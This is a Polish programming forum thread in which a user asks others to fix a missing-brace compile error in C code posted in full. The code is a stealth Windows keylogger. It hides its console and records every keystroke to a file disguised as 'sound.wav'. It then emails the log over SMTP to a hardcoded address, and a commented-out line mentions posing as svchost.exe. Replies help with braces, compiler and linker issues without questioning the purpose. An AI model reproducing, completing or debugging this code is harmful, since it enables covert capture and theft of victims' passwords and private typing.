bład w składni " [error] expected "}" at end of input"

0

Przy kompilacji pojawia sie: (wiersz 340) [error] expected "}" at end of input

Oczekiwałbym aby ktoś poprawił kod i wyjaśnił gdzie był błąd

link do pastebina z numerowaniem wierszy: http://pastebin.com/be2sZvbY

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt(
    char* mailserver, char* emailto, char* emailfrom, char* emailsubject, char* emailmessage);
#define BUFSIZE 800
#define waittime 500
/*SMTP */
#define cmailserver "alt1.gmail-smtp-in.l.google.com"
#define cemailto "[email protected]"
#define cemailfrom "[email protected]"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int sleep(char);
int get_keys(void);
int test_key(void);
int main(void)
{
    // stealth
    HWND stealth; /*creating stealth */
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);

    {
        FILE* file;
        file = fopen(FileName, "a+");
        time_t theTime = time(0);
        fputs("\nStarted logging: ", file);
        fputs(ctime(&theTime), file);
        fclose(file);
    }

    /* if (test==2)
    {//the path in which the file needs to be
    char *path="c:\\%windir%\\svchost.exe";
    create=create_key(path);
    } */

    int t = get_keys();
    return t;
}

int get_keys(void)
{
    int freadindex;
    char* buf;
    long len;
    FILE* file;
    file = fopen(FileName, "a+");


    short character;
    while (1)
    {
        sleep(10); /*to prevent 100% cpu usage*/
        for (character = 8; character <= 222; character++)
        {
            if (GetAsyncKeyState(character) == -32767)
            {
                FILE* file;
                file = fopen(FileName, "a+");
                if (file == NULL)
                {
                    return 1;
                }
                if (file != NULL)
                {
                    if ((character >= 39) && (character <= 64))
                    {
                        fputc(character, file);
                        fclose(file);
                        break;
                    }
                    else if ((character > 64) && (character < 91))
                    {
                        character += 32;
                        fputc(character, file);
                        fclose(file);
                        break;
                    }
                    else
                    {
                        switch (character)
                        {
                            case VK_SPACE:
                                fputc(' ', file);
                                fclose(file);
                                break;
                            case VK_SHIFT:
                                fputs("\r\n[SHIFT]\r\n", file);
                                fclose(file);
                                break;
                            case VK_RETURN:
                                fputs("\r\n[ENTER]\r\n", file);
                                fclose(file);
                                break;
                            case VK_BACK:
                                fputs("\r\n[BACKSPACE]\r\n", file);
                                fclose(file);
                                break;
                            case VK_TAB:
                                fputs("\r\n[TAB]\r\n", file);
                                fclose(file);
                                break;
                            case VK_CONTROL:
                                fputs("\r\n[CTRL]\r\n", file);
                                fclose(file);
                                break;
                            case VK_DELETE:
                                fputs("\r\n[DEL]\r\n", file);
                                fclose(file);
                                break;
                            case VK_OEM_1:
                                fputs("\r\n[;:]\r\n", file);
                                fclose(file);
                                break;
                            case VK_OEM_2:
                                fputs("\r\n[/?]\r\n", file);
                                fclose(file);
                                break;
                            case VK_OEM_3:
                                fputs("\r\n[`~]\r\n", file);
                                fclose(file);
                                break;
                            case VK_OEM_4:
                                fputs("\r\n[ [{ ]\r\n", file);
                                fclose(file);
                                break;
                            case VK_OEM_5:
                                fputs("\r\n[\\|]\r\n", file);
                                fclose(file);
                                break;
                            case VK_OEM_6:
                                fputs("\r\n[ ]} ]\r\n", file);
                                fclose(file);
                                break;
                            case VK_OEM_7:
                                fputs("\r\n['\"]\r\n", file);
                                fclose(file);
                                break;
                            case 187:
                                fputc('+', file);
                                fclose(file);
                                break;
                            case 188:
                                fputc(',', file);
                                fclose(file);
                                break;
                            case 189:
                                fputc('-', file);
                                fclose(file);
                                break;
                            case 190:
                                fputc('.', file);
                                fclose(file);
                                break;
                            case VK_NUMPAD0:
                                fputc('0', file);
                                fclose(file);
                                break;
                            case VK_NUMPAD1:
                                fputc('1', file);
                                fclose(file);
                                break;
                            case VK_NUMPAD2:
                                fputc('2', file);
                                fclose(file);
                                break;
                            case VK_NUMPAD3:
                                fputc('3', file);
                                fclose(file);
                                break;
                            case VK_NUMPAD4:
                                fputc('4', file);
                                fclose(file);
                                break;
                            case VK_NUMPAD5:
                                fputc('5', file);
                                fclose(file);
                                break;
                            case VK_NUMPAD6:
                                fputc('6', file);
                                fclose(file);
                                break;
                            case VK_NUMPAD7:
                                fputc('7', file);
                                fclose(file);
                                break;
                            case VK_NUMPAD8:
                                fputc('8', file);
                                fclose(file);
                                break;
                            case VK_NUMPAD9:
                                fputc('9', file);
                                fclose(file);
                                break;
                            case VK_CAPITAL:
                                fputs("\r\n[CAPS LOCK]\r\n", file);
                                fclose(file);
                                break;
                            default:
                                fclose(file);
                                break;
                        }
                    }
                }
            }
        }
        FILE* file;
        file = fopen(FileName, "rb");
        fseek(file, 0, SEEK_END); // go to end
        len = ftell(file); // get position at end (length)
        if (len >= LogLength)
        {
            fseek(file, 0, SEEK_SET); // go to beg.
            buf = (char*)malloc(len); // malloc buffer
            freadindex = fread(buf, 1, len, file); // read into buffer
            buf[freadindex] = '\0'; // Extra bit I have to add to make it a sting
            MailIt(cmailserver, cemailto, cemailfrom, cemailsubject, buf);
            fclose(file);
            file = fopen(FileName, "w");
        }

        fclose(file);
        // free (buf);
    }
    return EXIT_SUCCESS;
}

int MailIt(char* mailserver, char* emailto, char* emailfrom, char* emailsubject, char* emailmessage)
{
    SOCKET sockfd;
    WSADATA wsaData;
    FILE* smtpfile;


#define bufsize 300
    int bytes_sent; /* Sock FD */
    int err;
    struct hostent* host; /* info from gethostbyname */
    struct sockaddr_in dest_addr; /* Host Address */
    char line[1000];
    char* Rec_Buf = (char*)malloc(bufsize + 1);
    smtpfile = fopen(SMTPLog, "a+");

    if (WSAStartup(0x202, &wsaData) == SOCKET_ERROR)
    {
        fputs("WSAStartup failed", smtpfile);
        WSACleanup();
        return -1;
    }
    if ((host = gethostbyname(mailserver)) == NULL)
    {
        perror("gethostbyname");
        exit(1);
    }
    memset(&dest_addr, 0, sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr), host->h_addr, host->h_length);


    /* Prepare dest_addr */
    dest_addr.sin_family = host->h_addrtype; /* AF_INET from gethostbyname */
    dest_addr.sin_port = htons(25); /* PORT defined above */

    /* Get socket */

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        perror("socket");
        exit(1);
    }
    /* Connect !*/
    fputs("Connecting....\n", smtpfile);

    if (connect(sockfd, (struct sockaddr*)&dest_addr, sizeof(dest_addr)) == -1)
    {
        perror("connect");
        exit(1);
    }

    sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    strcpy(line, "helo me.somepalace.com\n");
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    strcpy(line, "MAIL FROM:<");
    strncat(line, emailfrom, strlen(emailfrom));
    strncat(line, ">\n", 3);
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    strcpy(line, "RCPT TO:<");
    strncat(line, emailto, strlen(emailto));
    strncat(line, ">\n", 3);
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    strcpy(line, "DATA\n");
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    sleep(waittime);
    strcpy(line, "To:");
    strcat(line, emailto);
    strcat(line, "\n");
    strcat(line, "From:");
    strcat(line, emailfrom);
    strcat(line, "\n");
    strcat(line, "Subject:");
    strcat(line, emailsubject);
    strcat(line, "\n");
    strcat(line, emailmessage);
    strcat(line, "\r\n.\r\n");
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    strcpy(line, "quit\n");
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    fclose(smtpfile);
#ifdef WIN32
    closesocket(sockfd);
    WSACleanup();
#else
    close(sockfd);
#endif
0

Wskaż proszę klamrę kończącą funkcję MailIt.

0

Kurde nie wiem nie ma xD?

2

Ok, a teraz przytoczmy błąd zgłaszany przez kompilator:

expected "}" at end of input

0

tylko z tym ze error odnosi sie do WSACleanup

0

A nie do 340. linii z 340 linii kodu, który wkleiłeś?

0

przepraszam moj blad 341* wiersza

0
  1. Dlaczego nikt nie odpowiada w moim wątku? podpunkt o wklejaniu obrazków kodu
  2. W jakiej funkcji są wywoływane funkcje closesocket i WSACleanup?
0

w MailIt

0

Ale przecież zakończyłeś ją linijkę wyżej :​)

0

racja ale jak zamykam razem z tymi funkcjami to nie ciekawie sie robi:

user image

0

Screen

0

wyczytalem ze powinienem uzyc innego kompilatora np Visual c++
5e16ac5805.png

3

Na Starszych Internetu, od tej czcionki oczy ropnieją! Czemu się tak katujesz? (O niespecjalnie rozgarniętym IDE nie wspomnę)
Na koniec funkcji zarzuć tę klamerkę...

0

Właśnie mam wrzucone na koniec i takie cuś jest, a czcionka z wine ;) wiec sorry

0

Masz linuxa i katujesz się Dev-C++ na Wine? No szczęka mi opadła. :P NetBeans, Code::Blocks, Eclipse CDT, g/Vim, Emacs, etc, a Ty takiego starego gniota... Z drugiej strony, każdy ma swoje fetysze... ale fetysze fetyszami - oczy szanować wypada. :P

Poza tym, na tym screenie: Zrzut ekranu z 2016-10-20 22-39-28.png to ona na końcu zdecydowanie nie jest. Przecież trzy linijki kodu jeszcze za klamerką, jak byk!

0

na tym ss 5e16ac5805.png jest z klamerka na koncu i takie cuda sie dzieja

1

Jak masz to wszystko skonfigurowane? Bo wygląda jakbyś miał TDM-GCC, czyli port GCC pod windą, i tym kompilował w Wine?

Jeżeli tak - to w <windows.h> masz funkcję Sleep(), a w <unistd.h> masz funkcję sleep(). Zdecyduj się, której używasz.
Jakie masz opcje linkera? Wygląda jakbyś potrzebował -lws2_32albo czego tam dla WinSock2, może brakuje -mwin32?

0

to co polecasz zrobic

1

zdecyduj sie czy chcesz robic pod windowsem czy pod linuksem. Nie ma sensu odpadac przez WINE ide... kompilowac mozesz po prostu na windowsie piszac na linuksie

zapoznaj sie z tym linkiem

http://stackoverflow.com/questions/8666378/detect-windows-or-linux-in-c-c

0

Mam juz dostep do kompa z windowsem dzisaj pobiore Visual Studio C++ i postaram sie ogarnac bo w sumie bez sesnu z tym winem albo z kompilatorami bez bilbiotek ktore musze sam instalowac i mam mozliwosc compile+ run dla sprawdzenia :)

1 użytkowników online, w tym zalogowanych: 0, gości: 1